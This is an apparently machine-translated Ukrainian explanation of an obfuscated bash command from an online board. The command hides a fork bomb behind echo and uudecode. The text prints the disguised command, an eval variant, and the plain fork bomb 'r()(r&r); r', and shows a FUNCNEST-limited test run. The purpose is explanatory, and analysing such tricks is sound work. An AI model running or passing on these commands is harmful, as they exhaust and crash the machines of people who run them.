Спочатку розглянемо всю команду:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Він містить рядок з подвійним котируванням, який перегукується uudecode. Але, зверніть увагу , що в рядку в подвійних лапках є зворотній лапки рядок. Цей рядок виконується . Рядок:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Якщо ми подивимось на те, що в ньому, ми побачимо три команди:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Виконуючи розширення дужок у середній команді, ми маємо:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Перший рядок намагається виконати команду дурниць у фоновому режимі. Це неважливо.
Другий рядок важливий: він визначає функцію, rяка при запуску запускає дві копії себе. Кожна з цих копій, звичайно, випустила б ще два екземпляри. І так далі.
Третя лінія проходить r, починаючи вилкову бомбу.
Решта коду, що знаходиться поза рядком, цитованим у зворотному списку, - це просто нісенітниця для придушення.
Як безпечно запустити команду
Цей код можна запустити безпечно, якщо встановити обмеження на рівні вкладення функції. Це можна зробити за допомогою FUNCNESTзмінної bash . Тут ми встановлюємо це, 2і це зупиняє рекурсію:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Повідомлення про помилки, наведені вище, показують, що (a) нісенітницькі команди rYWdlі Y29jїх не знайдено, (b) вилка бомба неодноразово зупиняється FUNCNEST, і (c) вихід echoне починається з beginі, отже, не є дійсним введенням для uudecode.
Вилка бомба в найпростішому вигляді
Як виглядала б вилка бомба, якби ми зняли затемнення? Як підказують njzk2 та gerrit, це виглядатиме так:
echo "`r()(r&r);r`"
Ми можемо ще більше спростити це:
r()(r&r); r
Він складається з двох тверджень: один визначає функцію fork-bomb, rа другий виконує r.
Весь інший код, у тому числі труба до uudecode, був лише для затемнення та неправильного спрямування.
Первісна форма мала ще один шар помилок
ОП надало посилання на обговорення ради, на якій цей код з'явився. Як представлено там, код виглядав так:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Помітьте один із перших коментарів щодо цього коду:
Я за це впав. Скопіював лише ту частину, яка перегукується та розшифровує, але все-таки отримала розгорнуту форму
У формі на дошці chann можна було б наївно думати, що проблемою буде evalзаява, що працює на виході uudecode. Це призвело б до думки, що видалення evalвирішить проблему. Як ми бачили вище, це хибно і небезпечно.